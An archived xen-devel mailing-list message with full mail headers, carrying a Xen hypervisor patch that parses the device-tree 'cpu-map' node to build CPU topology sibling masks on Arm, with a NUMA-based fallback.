 create mode 100644 xen/drivers/acpi/topology.c
 create mode 100644 xen/include/xen/cpu-topology.h
 create mode 100644 xen/include/xen/dt-cpu-topology.h

-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 09 22:06:36 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 22:06:36 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358609.1612643 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whwt1-0007IV-NV; Thu, 09 Jul 2026 22:06:27 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358609.1612643; Thu, 09 Jul 2026 22:06:27 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whwt1-0007IO-Jt; Thu, 09 Jul 2026 22:06:27 +0000
Received: by outflank-mailman (input) for mailman id 1358609;
 Thu, 09 Jul 2026 22:06:26 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1whwt0-000756-5z
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 22:06:26 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whwsz-004Qfb-J8
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 00:06:25 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a501b59-2eae-0a2a0a5409dd-0a2a4505bdc4-22
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 00:06:25 +0200
Received: from [52.101.125.137]
 (helo=TYVP286CU001.outbound.protection.outlook.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <taka@valinux.co.jp>)
 id 6a501b59-4f1d-0a2a45050019-34657d89cdb0-5
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 00:06:25 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by TYCP286MB2431.JPNP286.PROD.OUTLOOK.COM (2603:1096:400:18f::7) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.17; Thu, 9 Jul
 2026 22:06:18 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0181.016; Thu, 9 Jul 2026
 22:06:18 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=qVmYiHYHZVLlsHsMJx4kxixD9SigNyJG6tnfwwgvNZx5kMaZrLgKh9tLx7YOUhr/aZaV7EHY4pc3BmBGDnReKpWnZqs72NeaTgDRvPTGndpzdOjVDFPPZ7ASUeORBEthW5GKQaq3jv0dfNzJ0FAdrWRDjOAexHWYGRj+undtR2RHMbWDOnsEuxoPheDUv49+6PlceBIJv6KisP6tFdiPpm/XHIiIxMvcH4dz8hEV7k4XjY92L5NfGtIxgutGrcIQ8cOqaI2zt+GpOHTxdi048TeQXdhek45Dr3VZjUTBiH3gcrR/NbFbJySLVoCuk0ELIK90G9tB+2kG6JZhLE1bFA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=IAm3SofYOoDGfAqTUoAO7v7MjFGup7Ebi5VOAsRE4Ak=;
 b=EmSlvO4jS7NtHy3k83dAQGDN0ZhNr24T1Id80NqM+ypLLHkNzQGgCuaeTnKZ9/08ssz02/UcPQSeZJgAkqeaxKW1LSyLMQCH6xbNvHcEycjl3RsgrOJ+bMCTOMvxU9dhGg32RPD14/3VubcvBatdd+wCCrAm4AHmeZnJrmU4T9CdOA2+DhqZY1SfcNisyA40YN5fNidROvhMlNdGQ4lz6yIxraEjy7hCBWst8jSfqZqsV4CsCQ9AKwuXQFsUDE/vVBUlobvMb9rAfzX/wNAk4hBKceng24WHZ3hjGEnZbkl+tCnn7MyZqoZ2qVBfHGl0garbzsCjhdeLNE5gcGA0mw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=IAm3SofYOoDGfAqTUoAO7v7MjFGup7Ebi5VOAsRE4Ak=;
 b=oTT2dszSO9yri7vhaCV0DHu0Z88xlAH7AHX2j8HJBlDITQO6qLDLE7U3Sv6Ek4LWwi2AQEZKhmglWDUiVUPeD5g8GygFBzKNWK0NbQZ/+yM6IAbDJM6CtcxHRJ/Ky7oKiX9xDErmQtE+nVVGsC/rtkqBevrmXy7JFJO4oWtFzsc=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: xen-devel@lists.xenproject.org
Cc: Hirokazu Takahashi <taka@valinux.co.jp>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Julien Grall <julien@xen.org>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Jan Beulich <jbeulich@suse.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>
Subject: [PATCH v5 1/4] xen/device-tree: Parse 'cpu-map' node for CPU topology exploration
Date: Fri, 10 Jul 2026 07:05:49 +0900
Message-ID: <20260709220552.646462-2-taka@valinux.co.jp>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260709220552.646462-1-taka@valinux.co.jp>
References: <20260709220552.646462-1-taka@valinux.co.jp>
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: TYCP301CA0007.JPNP301.PROD.OUTLOOK.COM
 (2603:1096:400:386::18) To OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 (2603:1096:604:458::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: OS9P286MB7222:EE_|TYCP286MB2431:EE_
X-MS-Office365-Filtering-Correlation-Id: 18652b67-2337-456c-9b89-08dede064d41
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|7416014|23010399003|10070799003|366016|1800799024|56012099006|18002099003|22082099003;
X-Microsoft-Antispam-Message-Info:
	FMPVL+ieO6N+UnCS/aXln9NgV5J6sjDaP1lcLai08ObUZL5ppT8uFO8yEar8IRTOQecN/Y7OGQr/u+BFZ9oodx6zEIo9mIQUVr5y2OHZ5OC4qZviH5qkUPbAdLRTZ3X1sAp4Ks7AY5ILNUctLP9p9+mX8kWEqWlfAncq4WkovGrukSpDgOy+9mxwFsaDn6zqPDxBZ3/urJ0J4/uTDU8eEp10M67sm6J4HeEhuPqoRTtt8FCtQN9TOmDMx+x1akvkpcpXRNfaLvGjPIdX+I+/mzn/ViysLcQ21RGHk5wh/QFqZaTT44TI8AJjPcsR/J5A1akb57uTaCLSRxDhdBQ3dSerV2XLT2WsYYOWh9MmQvWzYdC0JowTDo8Mz9LxP2PJTEVt6IO6EPLyifMog5qVW/y+w/cl7+oGu2DrtwTTLgBh4AFNpOZ5WkisKrR71UWskBfbaJSXC416l6Xphdxv4C+3Yo4j/y+bKfKkc1IdLcAl8KqzbcHEAkVBMyaD68d/DsTuy7Ate4OwsMfIrifcS9zGsIcMvCDVPLhaXd/wC94ZQ/M/hIVYxhFGaBDez9kYm67xYk3XFkKr2ikldQCcLWZ5jLuRgaxaTfelIH1Mcjv3Vch8r21skUo9hkf/MXke/BSEg9y1CMGXBOS2PB367vhbXnhMzUigKWgjq1gzKFc=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(376014)(7416014)(23010399003)(10070799003)(366016)(1800799024)(56012099006)(18002099003)(22082099003);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 2
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?OA8E8cZca0uU2g3Y9A6WVkwaCGe4km+rukJwPgKlKmb4n1t0AnBgG8+KOMlg?=
 =?us-ascii?Q?3Pxi6okwsUugmUOOeqP6A4Jywzw6D7b8jBRAnP6jDINAiE9g5UTD8BZX+6HI?=
 =?us-ascii?Q?28RpN2XILBx+te8qUHIHatgh07HtWr/lXGJ/AXUD2juB4lTdLRcXHkOongJK?=
 =?us-ascii?Q?T/sGqErv6gdSxF89JLt2V5ur4kd+wrb5q05kiWgssmnPc/Y9XWQsNkfs2IqZ?=
 =?us-ascii?Q?TTTMysmLj/sFLJHKL0ywgtp5A2n7kbhnSUwwnSAXLn7LaFVm+l6fzLlX79mB?=
 =?us-ascii?Q?nIkKwmX2IDT3FrialMgON49XUY/G/warO+lxEEzfmyTAnURwEMLnmluOxR5T?=
 =?us-ascii?Q?NlXxvF8Xrbgb/YuhYn76rCqyCN4lYRCz3whVmlOQcLAUAYicou9bqVg5RMQn?=
 =?us-ascii?Q?Ph3+dpL89kruguqMhtMgeoZAW2PZKfATsthiYlGNo0ghFg2WxpatmAjkm0YY?=
 =?us-ascii?Q?bge5tlFG6iAcqgrNbxXA0TogDHNvu220tYNYCcr6zUlDUEOKQ0YszrF2TYJH?=
 =?us-ascii?Q?uzVxme29Pon8ttBZ/KIrcGI+XcGVkfkC9Nfi4ke60OKqfj3TQ5ONrMX26pgL?=
 =?us-ascii?Q?7J85ZWxlxbkG0xXTYaLxo4vom5U93UcCHbgk8JkV7Rod2KcJIxyDhgt6N7ez?=
 =?us-ascii?Q?ggdY7DRqp/0c/DIqAXx5YktXiMuA1QKzWr8xkgMjWYLsqjuMz2vYXLRIgjd0?=
 =?us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vV1YvY+IJc9kGo7fELOncHROQaUA/TxUNVTeLOJi3NGjNEq?=
 =?us-ascii?Q?+HTrKLSEzBFtShig9iVnSGTTfz/BU4sD+Ag/U8Bue7StsLeh+IdGhG0g2K8m?=
 =?us-ascii?Q?0dGpOrfToSHHjuZG+cfpg+f8Mevjebg2yvsqnVTWrpazIuTyifPaPx1BzE/m?=
 =?us-ascii?Q?u3GaVhLg8WJBsRJ4J7a8/C4FatYA/FvYdi1W62J7Y+X8l9aiRMw8iGuQHCQN?=
X-MS-Exchange-AntiSpam-MessageData-1: GZpJWnRoSDEsIQ==
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-Network-Message-Id: 18652b67-2337-456c-9b89-08dede064d41
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 09 Jul 2026 22:06:18.1975
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: A94HVEUjKyJZQpCtEcvfEv1IPkfrLzlx8qO5gVhcbGUC0Ehqjg2gXZhcu0Ore9I2NR1J96F3DvwJA16YoQuTYQ==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: TYCP286MB2431
X-purgate-ID: tlsNG-c201ff/1783634785-DB74D12E-7FFDD121/0/0
X-purgate-type: clean
X-purgate-size: 20379

Parse the 'cpu-map' node in the Device Tree to extract CPU topology
information. If the 'cpu-map' node is absent, fall back to
generating the topology data from the NUMA information. This
generation assumes exactly one socket per NUMA node and that SMT
is unsupported.

Signed-off-by: Hirokazu Takahashi <taka@valinux.co.jp>
---
 xen/arch/arm/Kconfig                  |   1 +
 xen/arch/arm/smpboot.c                |   7 +
 xen/common/Kconfig                    |  15 ++
 xen/common/Makefile                   |   1 +
 xen/common/cpu-topology.c             |  62 +++++
 xen/common/device-tree/Makefile       |   1 +
 xen/common/device-tree/cpu-topology.c | 355 ++++++++++++++++++++++++++
 xen/drivers/acpi/Kconfig              |   3 +
 xen/drivers/acpi/Makefile             |   1 +
 xen/drivers/acpi/topology.c           |  38 +++
 xen/include/xen/acpi.h                |  10 +
 xen/include/xen/cpu-topology.h        |  35 +++
 xen/include/xen/dt-cpu-topology.h     |  29 +++
 13 files changed, 558 insertions(+)
 create mode 100644 xen/common/cpu-topology.c
 create mode 100644 xen/common/device-tree/cpu-topology.c
 create mode 100644 xen/drivers/acpi/topology.c
 create mode 100644 xen/include/xen/cpu-topology.h
 create mode 100644 xen/include/xen/dt-cpu-topology.h

diff --git a/xen/arch/arm/Kconfig b/xen/arch/arm/Kconfig
index 843a43897e..26296c12c8 100644
--- a/xen/arch/arm/Kconfig
+++ b/xen/arch/arm/Kconfig
@@ -23,6 +23,7 @@ config ARM
 	select HAS_STACK_PROTECTOR
 	select HAS_STATIC_MEMORY
 	select HAS_UBSAN
+	select HAS_GENERIC_CPU_TOPOLOGY
 
 config ARCH_DEFCONFIG
 	string
diff --git a/xen/arch/arm/smpboot.c b/xen/arch/arm/smpboot.c
index ba5fd2dd52..d957553a44 100644
--- a/xen/arch/arm/smpboot.c
+++ b/xen/arch/arm/smpboot.c
@@ -9,10 +9,12 @@
 
 #include <xen/acpi.h>
 #include <xen/cpu.h>
+#include <xen/cpu-topology.h>
 #include <xen/cpumask.h>
 #include <xen/delay.h>
 #include <xen/device_tree.h>
 #include <xen/domain_page.h>
+#include <xen/dt-cpu-topology.h>
 #include <xen/errno.h>
 #include <xen/init.h>
 #include <xen/mm.h>
@@ -244,6 +246,9 @@ static void __init dt_smp_init_cpus(void)
         }
         else
             tmp_map[i] = hwid;
+
+        /* Pass the info to dt_init_cpu_topology() */
+        map_cpu_to_dt_node(i, cpu);
     }
 
     if ( !bootcpu_valid )
@@ -280,6 +285,8 @@ void __init smp_init_cpus(void)
     else
         acpi_smp_init_cpus();
 
+    init_cpu_topology();
+
     if ( opt_hmp_unsafe )
         warning_add("WARNING: HMP COMPUTING HAS BEEN ENABLED.\n"
                     "It has implications on the security and stability of the system,\n"
diff --git a/xen/common/Kconfig b/xen/common/Kconfig
index da80fdba84..c4bddfd098 100644
--- a/xen/common/Kconfig
+++ b/xen/common/Kconfig
@@ -191,6 +191,21 @@ config VM_EVENT
 config NEEDS_LIBELF
 	bool
 
+config HAS_GENERIC_CPU_TOPOLOGY
+	bool
+
+config DT_CPU_TOPOLOGY
+	bool
+
+config GENERIC_CPU_TOPOLOGY
+	bool "CPU topology support (UNSUPPORTED)" if UNSUPPORTED
+	depends on HAS_GENERIC_CPU_TOPOLOGY
+	select DT_CPU_TOPOLOGY if DEVICE_TREE_PARSE
+	select ACPI_CPU_TOPOLOGY if ACPI
+	help
+	  Retrieve CPU topology information from the device tree or the
+	  ACPI PPTT to optimize virtual CPU scheduling.
+
 config NUMA
 	bool
 
diff --git a/xen/common/Makefile b/xen/common/Makefile
index 6018e25614..34b333cdb3 100644
--- a/xen/common/Makefile
+++ b/xen/common/Makefile
@@ -5,6 +5,7 @@ obj-$(CONFIG_GENERIC_BUG_FRAME) += bug.o
 obj-$(CONFIG_HYPFS_CONFIG) += config_data.o
 obj-$(CONFIG_CORE_PARKING) += core_parking.o
 obj-y += cpu.o
+obj-$(CONFIG_GENERIC_CPU_TOPOLOGY) += cpu-topology.o
 obj-$(CONFIG_DEBUG_TRACE) += debugtrace.o
 obj-$(CONFIG_HAS_DEVICE_TREE_DISCOVERY) += device.o
 obj-$(filter-out $(CONFIG_X86),$(CONFIG_ACPI)) += device.o
diff --git a/xen/common/cpu-topology.c b/xen/common/cpu-topology.c
new file mode 100644
index 0000000000..94cb9ba312
--- /dev/null
+++ b/xen/common/cpu-topology.c
@@ -0,0 +1,62 @@
+/* SPDX-License-Identifier: GPL-2.0-or-later */
+
+#include <xen/acpi.h>
+#include <xen/cpu-topology.h>
+#include <xen/cpumask.h>
+#include <xen/dt-cpu-topology.h>
+#include <xen/init.h>
+
+struct cpu_topology *__ro_after_init cpu_topology;
+
+static void __init free_topology_table(void)
+{
+    unsigned int cpu;
+
+    for ( cpu = 0; cpu < nr_cpu_ids; cpu++ )
+    {
+        free_cpumask_var(cpu_topology[cpu].thread_sibling);
+        free_cpumask_var(cpu_topology[cpu].core_sibling);
+        free_cpumask_var(cpu_topology[cpu].cluster_sibling);
+    }
+
+    XFREE(cpu_topology);
+}
+
+void __init init_cpu_topology(void)
+{
+    unsigned int cpu;
+
+    cpu_topology = xzalloc_array(struct cpu_topology, nr_cpu_ids);
+    if ( !cpu_topology )
+    {
+        printk(XENLOG_ERR "Failed to allocate memory for cpu_topology table\n");
+        return;
+    }
+
+    for ( cpu = 0; cpu < nr_cpu_ids; cpu++ )
+    {
+        if ( !zalloc_cpumask_var(&cpu_topology[cpu].thread_sibling) ||
+             !zalloc_cpumask_var(&cpu_topology[cpu].core_sibling) ||
+             !zalloc_cpumask_var(&cpu_topology[cpu].cluster_sibling) )
+        {
+            free_topology_table();
+            printk(XENLOG_ERR "Failed to allocate memory for cpu_topology table\n");
+            return;
+        }
+    }
+
+    if ( acpi_disabled )
+        dt_init_cpu_topology();
+    else
+        acpi_init_cpu_topology();
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */
diff --git a/xen/common/device-tree/Makefile b/xen/common/device-tree/Makefile
index 9036e455d6..6ee670b5f4 100644
--- a/xen/common/device-tree/Makefile
+++ b/xen/common/device-tree/Makefile
@@ -1,6 +1,7 @@
 obj-y += bootfdt.init.o
 obj-$(CONFIG_HAS_DEVICE_TREE_DISCOVERY) += bootinfo-fdt.init.o
 obj-$(CONFIG_HAS_DEVICE_TREE_DISCOVERY) += bootinfo.init.o
+obj-$(CONFIG_DT_CPU_TOPOLOGY) += cpu-topology.init.o
 obj-y += device-tree.o
 obj-$(CONFIG_DOMAIN_BUILD_HELPERS) += domain-build.init.o
 obj-$(filter $(CONFIG_DOM0LESS_BOOT),$(CONFIG_HAS_DEVICE_TREE_DISCOVERY)) += dom0less-build.init.o
diff --git a/xen/common/device-tree/cpu-topology.c b/xen/common/device-tree/cpu-topology.c
new file mode 100644
index 0000000000..b653227ef4
--- /dev/null
+++ b/xen/common/device-tree/cpu-topology.c
@@ -0,0 +1,355 @@
+/* SPDX-License-Identifier: GPL-2.0-or-later */
+/*
+ * Derived from Linux kernel 7.0's $drivers/base/arch_topology.c
+ * Parse cpu topology information.
+ */
+
+#include <xen/acpi.h>
+#include <xen/cpu-topology.h>
+#include <xen/cpumask.h>
+#include <xen/device_tree.h>
+#include <xen/errno.h>
+#include <xen/init.h>
+#include <xen/numa.h>
+
+struct cpu_map {
+    unsigned int thread_id;
+    unsigned int core_id;
+    unsigned int cluster_id;
+    unsigned int package_id;
+};
+
+static const unsigned int __initdata invalid_topo_id = ~0U;
+static struct cpu_map __initdata cpu_map[NR_CPUS] = {
+    [0 ... NR_CPUS - 1] = {invalid_topo_id, invalid_topo_id, invalid_topo_id, 0}
+};
+static struct dt_device_node *__initdata dt_cpu_table[NR_CPUS];
+
+static void __init setup_siblings_masks(unsigned int target_cpu)
+{
+    const struct cpu_topology *target_topo = &cpu_topology[target_cpu];
+    const struct cpu_map *target_map = &cpu_map[target_cpu];
+    unsigned int cpu;
+
+    /* Update core and thread sibling masks */
+    for_each_possible_cpu(cpu)
+    {
+        const struct cpu_topology *cpu_topo = &cpu_topology[cpu];
+        const struct cpu_map *map = &cpu_map[cpu];
+
+        if ( target_map->package_id != map->package_id )
+            continue;
+
+        cpumask_set_cpu(target_cpu, cpu_topo->core_sibling);
+        cpumask_set_cpu(cpu, target_topo->core_sibling);
+
+        if ( target_map->cluster_id != map->cluster_id )
+            continue;
+
+        if ( target_map->cluster_id != invalid_topo_id )
+        {
+            cpumask_set_cpu(target_cpu, cpu_topo->cluster_sibling);
+            cpumask_set_cpu(cpu, target_topo->cluster_sibling);
+        }
+
+        if ( target_map->core_id != map->core_id )
+            continue;
+
+        cpumask_set_cpu(target_cpu, cpu_topo->thread_sibling);
+        cpumask_set_cpu(cpu, target_topo->thread_sibling);
+    }
+}
+
+static struct dt_device_node *__init
+       dt_find_child_node_by_name(const struct dt_device_node *dt,
+                                  const char *name)
+{
+    struct dt_device_node *np;
+
+    dt_for_each_child_node(dt, np)
+        if ( np->name && (dt_node_cmp(np->name, name) == 0) )
+            break;
+
+    return np;
+}
+
+void __init map_cpu_to_dt_node(unsigned int cpu,
+                               struct dt_device_node *cpu_node)
+{
+    if ( cpu < ARRAY_SIZE(dt_cpu_table) )
+        dt_cpu_table[cpu] = cpu_node;
+    else
+        printk(XENLOG_WARNING
+               "cpu id %u exceeds the max cores %lu\n",
+               cpu, ARRAY_SIZE(dt_cpu_table));
+}
+
+static unsigned int __init cpu_node_to_id(const struct dt_device_node *cpu_node)
+{
+    unsigned int cpu;
+
+    for_each_possible_cpu(cpu)
+        if ( cpu_node == dt_cpu_table[cpu] )
+            return cpu;
+
+    return invalid_topo_id;
+}
+
+/*
+ * This function returns the logical cpu number of the DT node.
+ */
+static unsigned int __init
+       get_cpu_for_node(const struct dt_device_node *dt_node)
+{
+    const struct dt_device_node *cpu_node = dt_parse_phandle(dt_node, "cpu", 0);
+
+    if ( !cpu_node )
+        return invalid_topo_id;
+
+    return cpu_node_to_id(cpu_node);
+}
+
+static int __init parse_core(const struct dt_device_node *core,
+                             unsigned int package_id,
+                             unsigned int cluster_id,
+                             unsigned int core_id)
+{
+    bool leaf = true;
+    unsigned int i = 0;
+    unsigned int cpu;
+
+    do {
+        const struct dt_device_node *t;
+        char name[20];
+
+        snprintf(name, sizeof(name), "thread%u", i);
+        t = dt_find_child_node_by_name(core, name);
+
+        if ( !t )
+            break;
+
+        leaf = false;
+        cpu = get_cpu_for_node(t);
+        if ( cpu != invalid_topo_id )
+        {
+            cpu_map[cpu].package_id = package_id;
+            cpu_map[cpu].cluster_id = cluster_id;
+            cpu_map[cpu].core_id = core_id;
+            cpu_map[cpu].thread_id = i;
+        }
+        else
+        {
+            printk(XENLOG_ERR
+                   "ERROR: %s: Can't get CPU for thread\n", dt_node_name(t));
+            return -EINVAL;
+        }
+        i++;
+    } while ( true );
+
+    cpu = get_cpu_for_node(core);
+
+    if ( cpu != invalid_topo_id )
+    {
+        if ( !leaf )
+        {
+            printk(XENLOG_ERR "ERROR: %s: Core has both threads and CPU\n",
+                   dt_node_name(core));
+            return -EINVAL;
+        }
+
+        cpu_map[cpu].package_id = package_id;
+        cpu_map[cpu].cluster_id = cluster_id;
+        cpu_map[cpu].core_id = core_id;
+        cpu_map[cpu].thread_id = 0;
+    }
+    else if ( leaf )
+    {
+        printk(XENLOG_ERR
+               "ERROR: %s: Can't get CPU for leaf core\n", dt_node_name(core));
+        return -EINVAL;
+    }
+
+    return 0;
+}
+
+static int __init parse_cluster(const struct dt_device_node *cluster,
+                                unsigned int package_id,
+                                unsigned int cluster_id,
+                                unsigned int depth)
+{
+    bool leaf = true;
+    bool has_cores = false;
+    unsigned int core_id = 0;
+    unsigned int i = 0;
+
+    /*
+     * First check for child clusters; we currently ignore any
+     * information about the nesting of clusters and present the
+     * scheduler with a flat list of them.
+     */
+    do {
+        const struct dt_device_node *c;
+        char name[20];
+        int ret;
+
+        snprintf(name, sizeof(name), "cluster%u", i);
+        c = dt_find_child_node_by_name(cluster, name);
+
+        if ( !c )
+            break;
+
+        leaf = false;
+        ret = parse_cluster(c, package_id, i, depth + 1);
+        if ( depth > 0 )
+            printk(XENLOG_WARNING
+                   "WARNING: Topology for clusters of clusters not yet supported\n");
+        if ( ret != 0 )
+            return ret;
+        i++;
+    } while ( true );
+
+    /* Now check for cores */
+    i = 0;
+    do {
+        const struct dt_device_node *c;
+        char name[20];
+        int ret;
+
+        snprintf(name, sizeof(name), "core%u", i);
+        c = dt_find_child_node_by_name(cluster, name);
+
+        if ( !c )
+            break;
+
+        has_cores = true;
+
+        if ( depth == 0 )
+        {
+            printk(XENLOG_ERR
+                   "ERROR: %s: cpu-map children should be clusters\n",
+                   dt_node_name(c));
+            return -EINVAL;
+        }
+
+        if ( leaf )
+        {
+            ret = parse_core(c, package_id, cluster_id, core_id++);
+            if ( ret != 0 )
+                return ret;
+        }
+        else
+        {
+            printk(XENLOG_ERR "ERROR: %s: Non-leaf cluster with core %s\n",
+                   dt_node_name(cluster), name);
+            return -EINVAL;
+        }
+
+        i++;
+    } while ( true );
+
+    if ( leaf && !has_cores )
+        printk(XENLOG_WARNING "WARNING: %s: empty cluster\n",
+               dt_node_name(cluster));
+
+    return 0;
+}
+
+static int __init parse_socket(const struct dt_device_node *socket)
+{
+    bool has_socket = false;
+    unsigned int package_id = 0;
+    int ret;
+
+    do {
+        const struct dt_device_node *c;
+        char name[20];
+
+        snprintf(name, sizeof(name), "socket%u", package_id);
+        c = dt_find_child_node_by_name(socket, name);
+
+        if ( !c )
+            break;
+
+        has_socket = true;
+        ret = parse_cluster(c, package_id, invalid_topo_id, 0);
+        if ( ret != 0 )
+            return ret;
+
+        package_id++;
+    } while ( true );
+
+    if ( !has_socket )
+        ret = parse_cluster(socket, 0, invalid_topo_id, 0);
+
+    return ret;
+}
+
+/*
+ * Generate cpu topology information when cpu-map node doesn't exist.
+ * It assumes that the cpu doesn't have SMT and all CPUs on a NUMA
+ * node belong to the same socket.
+ */
+static void __init fixup_topology(void)
+{
+    unsigned int cpu;
+    unsigned int clid = 0;
+    unsigned int pkgid = 0;
+
+    for_each_possible_cpu(cpu)
+    {
+        struct cpu_map *map = &cpu_map[cpu];
+
+        map->package_id = cpu_to_node(cpu);
+        if ( map->package_id != pkgid )
+        {
+            pkgid = map->package_id;
+            clid = 0;
+        }
+        map->cluster_id = clid++;
+        map->core_id = 0;
+        map->thread_id = 0;
+    }
+}
+
+int __init parse_dt_topology(void)
+{
+    const struct dt_device_node *cpus;
+    const struct dt_device_node *map;
+
+    cpus = dt_find_node_by_path("/cpus");
+    if ( !cpus )
+    {
+        printk(XENLOG_ERR "ERROR: No CPU information found in DT\n");
+        return -EINVAL;
+    }
+
+    map = dt_find_child_node_by_name(cpus, "cpu-map");
+    if ( !map )
+        return -ENOENT;
+
+    return parse_socket(map);
+}
+
+void __init dt_init_cpu_topology(void)
+{
+    unsigned int cpu;
+
+    BUG_ON(!acpi_disabled);
+    BUG_ON(!cpu_topology);
+
+    if ( parse_dt_topology() )
+        fixup_topology();
+
+    for_each_possible_cpu(cpu)
+        setup_siblings_masks(cpu);
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */
diff --git a/xen/drivers/acpi/Kconfig b/xen/drivers/acpi/Kconfig
index e3f3d8f4b1..5277b7bf83 100644
--- a/xen/drivers/acpi/Kconfig
+++ b/xen/drivers/acpi/Kconfig
@@ -8,3 +8,6 @@ config ACPI_LEGACY_TABLES_LOOKUP
 config ACPI_NUMA
 	bool
 	select NUMA
+
+config ACPI_CPU_TOPOLOGY
+	bool
diff --git a/xen/drivers/acpi/Makefile b/xen/drivers/acpi/Makefile
index 477408afbe..bcdb1b5e1b 100644
--- a/xen/drivers/acpi/Makefile
+++ b/xen/drivers/acpi/Makefile
@@ -10,3 +10,4 @@ obj-$(CONFIG_PM_OP) += pm-op.o
 
 obj-$(CONFIG_X86) += hwregs.o
 obj-$(CONFIG_X86) += reboot.o
+obj-$(CONFIG_ACPI_CPU_TOPOLOGY) += topology.init.o
